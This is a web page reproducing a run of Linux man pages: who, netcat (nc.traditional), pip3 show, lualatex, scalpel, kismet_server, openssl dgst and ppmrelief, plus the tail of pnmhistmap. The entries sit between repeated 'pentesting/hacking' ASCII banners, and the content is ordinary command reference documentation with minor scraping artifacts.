The -black and -white options, which can be used separately or together, are useful for images with a large percentage of pixels whose value is zero or 255, which can cause the remaining histogram data to become unreadably small. Note that, for color inputs, these options apply to all colors; if, for example, the input has a large number of bright-red areas, you will probably want to use the -white option.

-max N
Force the scaling of the histogram to use N as the largest-count value. This is useful for inputs with a large percentage of single-color pixels which are not black or white.

-verbose
Report the progress of making the histogram, including the largest-count value used to scale the output.

LIMITATIONS

pnmhistmap assumes maxval is always 255. Images with a smaller maxval will only use the lower-value side of the histogram. You can overcome this either by piping the input through pamdepth or by cutting and scaling the lower-value side of the histogram. Neither is a particularly elegant solution to the problem.

SEE ALSO

pgmhist(1) , ppmhist(1) , pgm(1) , ppm(1)

AUTHOR

Wilson H. Bent. Jr. ([email protected]).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmhistmap.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1140 - Linux cli command who

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command who and provides detailed information about the command who, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the who.

NAME 🖥️ who 🖥️

show who is logged on

SYNOPSIS

who [OPTION]… [ FILE | ARG1 ARG2 ]

DESCRIPTION

Print information about users who are currently logged in.

-a, –all
same as -b -d –login -p -r -t -T -u

-b, –boot
time of last system boot

-d, –dead
print dead processes

-H, –heading
print line of column headings

-l, –login
print system login processes

–lookup
attempt to canonicalize hostnames via DNS

-m
only hostname and user associated with stdin

-p, –process
print active processes spawned by init

-q, –count
all login names and number of users logged on

-r, –runlevel
print current runlevel

-s, –short
print only name, line, and time (default)

-t, –time
print last system clock change

-T, -w, –mesg
add user’s message status as +, - or ?

-u, –users
list users logged in

–message
same as -T

–writable
same as -T

–help
display this help and exit

–version
output version information and exit

If FILE is not specified, use /var/run/utmp. /var/log/wtmp as FILE is common. If ARG1 ARG2 given, -m presumed: ‘am i’ or ‘mom likes’ are usual.

AUTHOR

Written by Joseph Arceneaux, David MacKenzie, and Michael Stone.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/who>
or available locally via: info ‘(coreutils) who invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1141 - Linux cli command nc.traditional

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nc.traditional and provides detailed information about the command nc.traditional, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nc.traditional.

NAME 🖥️ nc.traditional 🖥️

TCP/IP swiss army knife

SYNOPSIS

nc [-options] hostname port[s] [ports] …
nc -l -p port [-options] [hostname] [port]

DESCRIPTION

netcat is a simple unix utility which reads and writes data across network connections, using TCP or UDP protocol. It is designed to be a reliable “back-end” tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities. Netcat, or “nc” as the actual program is named, should have been supplied long ago as another one of those cryptic but standard Unix tools.

In the simplest usage, “nc host port” creates a TCP connection to the given port on the given target host. Your standard input is then sent to the host, and anything that comes back across the connection is sent to your standard output. This continues indefinitely, until the network side of the connection shuts down. Note that this behavior is different from most other applications which shut everything down and exit after an end-of-file on the standard input.

Netcat can also function as a server, by listening for inbound connections on arbitrary ports and then doing the same reading and writing. With minor limitations, netcat doesn’t really care if it runs in “client” or “server” mode – it still shovels data back and forth until there isn’t any more left. In either mode, shutdown can be forced after a configurable time of inactivity on the network side.

And it can do this via UDP too, so netcat is possibly the “udp telnet-like” application you always wanted for testing your UDP-mode servers. UDP, as the “U” implies, gives less reliable data transmission than TCP connections and some systems may have trouble sending large amounts of data that way, but it’s still a useful capability to have.

You may be asking “why not just use telnet to connect to arbitrary ports?” Valid question, and here are some reasons. Telnet has the “standard input EOF” problem, so one must introduce calculated delays in driving scripts to allow network output to finish. This is the main reason netcat stays running until the *network* side closes. Telnet also will not transfer arbitrary binary data, because certain characters are interpreted as telnet options and are thus removed from the data stream. Telnet also emits some of its diagnostic messages to standard output, where netcat keeps such things religiously separated from its *output* and will never modify any of the real data in transit unless you *really* want it to. And of course telnet is incapable of listening for inbound connections, or using UDP instead. Netcat doesn’t have any of these limitations, is much smaller and faster than telnet, and has many other advantages.

OPTIONS

-c string
specify shell commands to exec after connect (use with caution). The string is passed to /bin/sh -c for execution. See the -e option if you don’t have a working /bin/sh (Note that POSIX-conformant system must have one).

-e filename
specify filename to exec after connect (use with caution). See the -c option for enhanced functionality.

-g gateway
source-routing hop point[s], up to 8

-G num
source-routing pointer: 4, 8, 12, …

-h
display help

-i secs
delay interval for lines sent, ports scanned

-l
listen mode, for inbound connects

-n
numeric-only IP addresses, no DNS

-o file
hex dump of traffic

-p port
local port number (port numbers can be individual or ranges: lo-hi [inclusive])

-q seconds
after EOF on stdin, wait the specified number of seconds and then quit. If seconds is negative, wait forever.

-b
allow UDP broadcasts

-r
randomize local and remote ports

-s addr
local source address

-t
enable telnet negotiation

-u
UDP mode

-v
verbose [use twice to be more verbose]

-w secs
timeout for connects and final net reads

-C
Send CRLF as line-ending

-z
zero-I/O mode [used for scanning]

-T type
set TOS flag (type may be one of “Minimize-Delay”, “Maximize-Throughput”, “Maximize-Reliability”, or “Minimize-Cost”.)

COPYRIGHT

Netcat is entirely my own creation, although plenty of other code was used as examples. It is freely given away to the Internet community in the hope that it will be useful, with no restrictions except giving credit where it is due. No GPLs, Berkeley copyrights or any of that nonsense. The author assumes NO responsibility for how anyone uses it. If netcat makes you rich somehow and you’re feeling generous, mail me a check. If you are affiliated in any way with Microsoft Network, get a life. Always ski in control. Comments, questions, and patches to [email protected].

NOTES

Some port names in /etc/services contain hyphens – netcat currently will not correctly parse those unless you escape the hyphens with backslashes (e.g. “netcat localhost ‘ftp\data’”).

BUGS

Efforts have been made to have netcat “do the right thing” in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me and tell me how you think it should behave. If netcat is not able to do some task you think up, minor tweaks to the code will probably fix that. It provides a basic and easily-modified template for writing other network applications, and I certainly encourage people to make custom mods and send in any improvements they make to it. Continued feedback from the Internet community is always welcome!

EXAMPLES

For several netcat recipes, please see /usr/share/doc/netcat/README.gz and /usr/share/doc/netcat/README.Debian.gz.

AUTHOR

This manual page was written by Joey Hess <[email protected]> and Robert Woodcock <[email protected]>, cribbing heavily from Netcat’s README file.

Netcat was written by a guy we know as the Hobbit <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1142 - Linux cli command pip3-show

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pip3-show and provides detailed information about the command pip3-show, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pip3-show.

NAME 🖥️ pip3-show 🖥️

show - description of pip3 show command

DESCRIPTION

Show information about one or more installed packages.

The output is in RFC-compliant mail header format.

USAGE

python -m pip show [options]

OPTIONS

-f, –files
Show the full list of installed files for each package.

(environment variable: PIP_FILES)

AUTHOR

pip developers

COPYRIGHT

The pip developers

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1143 - Linux cli command lualatex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lualatex and provides detailed information about the command lualatex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lualatex.

NAME 🖥️ lualatex 🖥️

structured text formatting and typesetting

SYNOPSIS

latex [first-line]

DESCRIPTION

This manual page is a mere skeleton.

The LaTeX language is described in the book LaTeX - A Document Preparation System. LaTeX is a TeX macro package, not a modification to the TeX source program, so all the capabilities described in tex(1) are present.

The LaTeX macros encourage writers to think about the content of their documents, rather than the form. The ideal, very difficult to realize, is to have no formatting commands (like ``switch to italic’’ or ``skip 2 picas’’) in the document at all; instead, everything is done by specific markup instructions: ``emphasize’’, ``start a section’'.

The primary source of documentation for LaTeX is the LaTeX manual referenced below.

lualatex, pdflatex, pdfcslatex, xelatex are LaTeX formats based on the respective engines. All output PDF by default.
platex, uplatex are Japanese LaTeX formats based on e-pTeX and e-upTeX (DVI output).
lamed is the Aleph-based LaTeX format (DVI output).
dvilualatex is LuaTeX-based and outputs DVI.
cslatex is csTeX-based (primitives integrated into pdfTeX) and outputs DVI.

On some systems latex209 and slitex may still be available for compatibility with older versions of LaTeX. These should not be used for new texts.

SEE ALSO

amstex(1), luatex(1), pdftex(1), ptex(1), tex(1), xetex(1).

Leslie Lamport, LaTeX - A Document Preparation System, Addison-Wesley, 1985, ISBN 020115790X.

Frank Mittelbach, Michel Goossens, Johannes Braams, David Carlisle, and Chris Rowley, LaTeX Companion, Addison-Wesley, 2004, ISBN 0201362996 (2nd edition).

The LaTeX home page is http://latex-project.org.
A list of some LaTeX tutorials is at http://www.tex.ac.uk/cgi-bin/texfaq2html?label=man-latex.
An unofficial reference manual for LaTeX is at https://ctan.org/pkg/latex2e-help-texinfo.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1144 - Linux cli command scalpel

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command scalpel and provides detailed information about the command scalpel, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the scalpel.

NAME 🖥️ scalpel 🖥️

Recover files using a header/footer database

SYNOPSIS

scalpel [-b] [-c <file>] [-d] [-h] [-i <file>] [-m <blocksize>] [-n] [-o <dir>] [-O] [-p] [-r] [-s <num>] [-t] [-u] [-V] [-v] [FILES]…

DESCRIPTION

Recover files from a disk image or raw block device based on headers and footers specified by the user.

-b
Carve files even if defined footers aren’t discovered within maximum carve size for file type [foremost 0.69 compat mode]

-c file
Chooses which configuration file to use. If this option is omitted, then “scalpel.conf” in the current directory is used. The format for the configuration file is described in the default configuration file “scalpel.conf”. See the CONFIGURATION FILE section below for more information.

-d
Generate header/footer database; will bypass certain optimizations and discover all footers, so performance suffers. Doesn’t affect the set of files carved. **EXPERIMENTAL**

-m
Generate/update carve coverage blockmap file. The first 32bit unsigned int in the file identifies the block size. Thereafter each 32bit unsigned int entry in the blockmap file corresponds to one block in the image file. Each entry counts how many carved files contain this block. Requires more memory and disk. **EXPERIMENTAL**

-h
Show a help screen and exit.

-i file
file is used as a list of input files to examine. Each line in the specified file should contain a single filename.

-o directory
Recovered files are written to the directory directory. Scalpel requires that this directory be either empty or not exist. The directory will be created if necessary.

-O
Don’t organize carved files by type. Default is to organize carved files into subdirectories to make previewing of large numbers of carved files easier.

-p
Perform image file preview; audit log indicates which files would have been carved, but no files are actually carved.

-q clustersize
Carve only when header is cluster-aligned.

-r
Find only first of overlapping headers/footers [foremost 0.69 compat mode]

-s number
Skips number bytes in each input file before beginning the search for file headers and footers.

-t
Set directory for coverage blockmap. **EXPERIMENTAL**

-u
Use carve coverage blockmap when carving. Carve only sections of the image whose entries in the blockmap are 0. These areas are treated as contiguous regions. **EXPERIMENTAL**

-V
Show copyright information and exit.

-v
Enables verbose mode. This causes copious amounts of debugging information to be output.

CONFIGURATION FILE

The configuration file is used to control the types of files Scalpel will attempt to carve. A sample configuration file, “scalpel.conf”, is included with this distribution. For each file type, the configuration file describes the file’s extension, whether the header and footer are case sensitive, the maximum file size, and the header and footer for the file. The footer field is optional, but the header, size, case sensitivity, and extension fields are required.

Important note: The default configuration file has all supported file patterns commented out–you must edit this before before running Scalpel.

Any line in the configuration file that begins with a pound sign is considered a comment and ignored.

Headers and footers are decoded before use. To specify a value in hexadecimal use \x[0-f][0-f], and for octal use \1-9][1-9][1-9]. Spaces can be represented by \s. Example: “O\123\I\sCCI” decodes to “OSI CCI”.

To match any single character (aka a wildcard) use a ‘?’. If you need to search for the ‘?’ character, you will need to change the ‘wildcard’ line *and* every occurrence of the old wildcard character in the configuration file, including those appearing in hex and octal values. ‘?’ is equal to ? and 3.

AUTHORS

Written by Golden G. Richard III. The first version of Scalpel was based on foremost 0.69, which was written by Special Agent Kris Kendall and Special Agent Jesse Kornblum of the United States Air Force Office of Special Investigations.

BUGS AND LIMITATIONS

It is currently not possible to carve physical block devices directly using the Windows version of Scalpel. This is a limitation that will be removed in a future release of Scalpel.

REPORTING BUGS

When submitting a bug report, please include a description of the problem, how you found it, and your contact information.

Send bug reports to:
[email protected]

COPYRIGHT

This is free software. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

SEE ALSO

More information on Scalpel appears in the README file, distributed with the Scalpel source code.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1145 - Linux cli command kismet_server

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command kismet_server and provides detailed information about the command kismet_server, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the kismet_server.

NAME 🖥️ kismet_server 🖥️

wireless sniffer and monitor

SYNOPSIS

kismet [OPTION]

DESCRIPTION

Nearly all of these options are run-time overrides for values in the kismet.conf configuration file. Permanent changes should be made to the configuration file.

GENERIC OPTIONS

-v, –version Show version

–no-console-wrapper
Disable server console wrapper

–no-ncurses-wrapper
Disable server console wrapper

–debug
Disable the console wrapper and the crash handling functions, for debugging

-f, –config-file <file>
Use alternate configuration file

–no-line-wrap
Turn of linewrapping of output (for grep, speed, etc)

-s, –silent
Turn off stdout output after setup phase

–daemonize
Spawn detached in the background

–no-plugins
Do not load plugins

–homedir <path>
Use an alternate path as the home directory instead of the user entry

–confdir <path>
Use an alternate path as the base config directory instead of the default set at compile time

–datadir <path>
Use an alternate path as the data directory instead of the default set at compile time.

LOGGING OPTIONS

-T, –log-types <types> Override activated log types
-t, –log-title <title> Override default log title: -p, –log-prefix <prefix> Directory to store log files
-n, –no-logging Disable logging entirely

DEVICE TRACKING OPTIONS

–device-timeout=n
Expire devices after N seconds

SEE ALSO

The full documentation for Kismet is maintained in a separate package kismet-docs. More information here: https://www.kismetwireless.net/docs

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1146 - Linux cli command openssl-dgstssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-dgstssl and provides detailed information about the command openssl-dgstssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-dgstssl.

NAME 🖥️ openssl-dgstssl 🖥️

dgst - perform digest operations

SYNOPSIS

openssl dgst|digest [-digest] [-list] [-help] [-c] [-d] [-debug] [-hex] [-binary] [-xoflen length] [-r] [-out filename] [-sign filename|uri] [-keyform DER|PEM|P12|ENGINE] [-passin arg] [-verify filename] [-prverify filename] [-signature filename] [-sigopt nm:v] [-hmac key] [-mac alg] [-macopt nm:v] [-fips-fingerprint] [-engine id] [-engine_impl id] [-rand files] [-writerand file] [-provider name] [-provider-path path] [-propquery propq] [file …]

DESCRIPTION

This command output the message digest of a supplied file or files in hexadecimal, and also generates and verifies digital signatures using message digests.

The generic name, openssl dgst, may be used with an option specifying the algorithm to be used. The default digest is sha256. A supported digest name may also be used as the sub-command name. To see the list of supported algorithms, use openssl list -digest-algorithms

OPTIONS

-help
Print out a usage message.

-digest
Specifies name of a supported digest to be used. See option -list below :

-list
Prints out a list of supported message digests.

-c
Print out the digest in two digit groups separated by colons, only relevant if the -hex option is given as well.

-d, -debug
Print out BIO debugging information.

-hex
Digest is to be output as a hex dump. This is the default case for a “normal” digest as opposed to a digital signature. See NOTES below for digital signatures using -hex.

-binary
Output the digest or signature in binary form.

-xoflen length
Set the output length for XOF algorithms, such as shake128 and shake256. This option is not supported for signing operations. For OpenSSL providers it is recommended to set this value for shake algorithms, since the default values are set to only supply half of the maximum security strength. For backwards compatibility reasons the default xoflen length for shake128 is 16 (bytes) which results in a security strength of only 64 bits. To ensure the maximum security strength of 128 bits, the xoflen should be set to at least 32. For backwards compatibility reasons the default xoflen length for shake256 is 32 (bytes) which results in a security strength of only 128 bits. To ensure the maximum security strength of 256 bits, the xoflen should be set to at least 64.

-r
Output the digest in the “coreutils” format, including newlines. Used by programs like sha1sum (1).

-out filename
Filename to output to, or standard output by default.

-sign filename|uri
Digitally sign the digest using the given private key. Note this option does not support Ed25519 or Ed448 private keys. Use the openssl-pkeyutl (1) command instead for this.

-keyform DER|PEM|P12|ENGINE
The format of the key to sign with; unspecified by default. See openssl-format-options (1) for details.

-sigopt nm:v
Pass options to the signature algorithm during sign or verify operations. Names and values of these options are algorithm-specific.

-passin arg
The private key password source. For more information about the format of arg see openssl-passphrase-options (1).

-verify filename
Verify the signature using the public key in “filename”. The output is either “Verified OK” or “Verification Failure”.

-prverify filename
Verify the signature using the private key in “filename”.

-signature filename
The actual signature to verify.

-hmac key
Create a hashed MAC using “key”. The openssl-mac (1) command should be preferred to using this command line option.

-mac alg
Create MAC (keyed Message Authentication Code). The most popular MAC algorithm is HMAC (hash-based MAC), but there are other MAC algorithms which are not based on hash, for instance gost-mac algorithm, supported by the gost engine. MAC keys and other options should be set via -macopt parameter. The openssl-mac (1) command should be preferred to using this command line option.

-macopt nm:v
Passes options to MAC algorithm, specified by -mac key. Following options are supported by both by HMAC and gost-mac:

key:string
Specifies MAC key as alphanumeric string (use if key contain printable characters only). String length must conform to any restrictions of the MAC algorithm for example exactly 32 chars for gost-mac.

hexkey:string
Specifies MAC key in hexadecimal form (two hex digits per byte). Key length must conform to any restrictions of the MAC algorithm for example exactly 32 chars for gost-mac.

The openssl-mac (1) command should be preferred to using this command line option.

-fips-fingerprint
Compute HMAC using a specific key for certain OpenSSL-FIPS operations.

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

-engine id
See “Engine Options” in openssl (1). This option is deprecated. The engine is not used for digests unless the -engine_impl option is used or it is configured to do so, see “Engine Configuration Module” in config (5).

-engine_impl id
When used with the -engine option, it specifies to also use engine id for digest operations.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

file …
File or files to digest. If no files are specified then standard input is used.

EXAMPLES

To create a hex-encoded message digest of a file:

openssl dgst -md5 -hex file.txt or openssl md5 file.txt

To sign a file using SHA-256 with binary file output:

openssl dgst -sha256 -sign privatekey.pem -out signature.sign file.txt or openssl sha256 -sign privatekey.pem -out signature.sign file.txt

To verify a signature:

openssl dgst -sha256 -verify publickey.pem \ -signature signature.sign \ file.txt

NOTES

The digest mechanisms that are available will depend on the options used when building OpenSSL. The openssl list -digest-algorithms command can be used to list them.

New or agile applications should use probably use SHA-256. Other digests, particularly SHA-1 and MD5, are still widely used for interoperating with existing formats and protocols.

When signing a file, this command will automatically determine the algorithm (RSA, ECC, etc) to use for signing based on the private key’s ASN.1 info. When verifying signatures, it only handles the RSA, DSA, or ECDSA signature itself, not the related data to identify the signer and algorithm used in formats such as x.509, CMS, and S/MIME.

A source of random numbers is required for certain signing algorithms, in particular ECDSA and DSA.

The signing and verify options should only be used if a single file is being signed or verified.

Hex signatures cannot be verified using openssl. Instead, use “xxd -r” or similar program to transform the hex signature into a binary signature prior to verification.

The openssl-mac (1) command is preferred over the -hmac, -mac and -macopt command line options.

SEE ALSO

openssl-mac (1)

HISTORY

The default digest was changed from MD5 to SHA256 in OpenSSL 1.1.0. The FIPS-related options were removed in OpenSSL 1.1.0.

The -engine and -engine_impl options were deprecated in OpenSSL 3.0.

COPYRIGHT

Copyright 2000-2022 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1147 - Linux cli command ppmrelief

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmrelief and provides detailed information about the command ppmrelief, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmrelief.

.

NAME 🖥️ ppmrelief 🖥️

compute a relief of a PPM image

SYNOPSIS

ppmrelief

[ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmrelief reads a PPM image as input, and writes a relief of that image as a PPM image as output.

The relief process is described in “Beyond Photography” by Holzmann, equation 3.19. It’s a sort of edge-detection and is essentially a convolution with this matrix:

    |  1  0  0 |
    |  0  0  0 |
    |  0  0 -1 |

OPTIONS

There are no command line options defined specifically for ppmrelief, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pamshadedrelief(1) , pgmbentley(1) , pgmoil(1) , ppm(1)

AUTHOR

Copyright (C) 1990 by Wilson Bent ([email protected])

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmrelief.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
